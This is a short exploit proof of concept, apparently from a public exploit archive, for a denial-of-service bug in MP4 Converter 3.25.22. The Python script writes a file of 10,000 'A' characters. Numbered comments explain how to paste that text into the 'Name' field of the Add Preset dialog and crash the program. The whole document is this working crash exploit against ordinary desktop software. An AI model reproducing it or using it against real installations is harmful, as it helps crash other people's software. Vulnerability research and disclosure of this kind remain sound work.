# -*- coding: utf-8 -*-
# Exploit Title: MP4 Converter 3.25.22 - 'Name' Denial of Service (PoC)
# Date: 14/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.tomabo.com/
# Software: http://www.tomabo.com/downloads/mp4-converter-setup.exe
# Version: 3.25.22
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "MP4Converter.py", it will create a new file "MP4Converter.txt"
# 2.- Copy the text from the generated MP4Converter.txt file to clipboard
# 3.- Open MP4 Converter
# 4.- Select 'Options' > 'Video/Audio Formats'
# 5.- Click 'Add Preset' and paste clipboard in the field 'Name'
# 6.- Click 'OK' and click 'Reset All' 
# 7.- Crashed

buffer = "\x41" * 10000
f = open ("MP4Converter.txt", "w")
f.write(buffer)
f.close()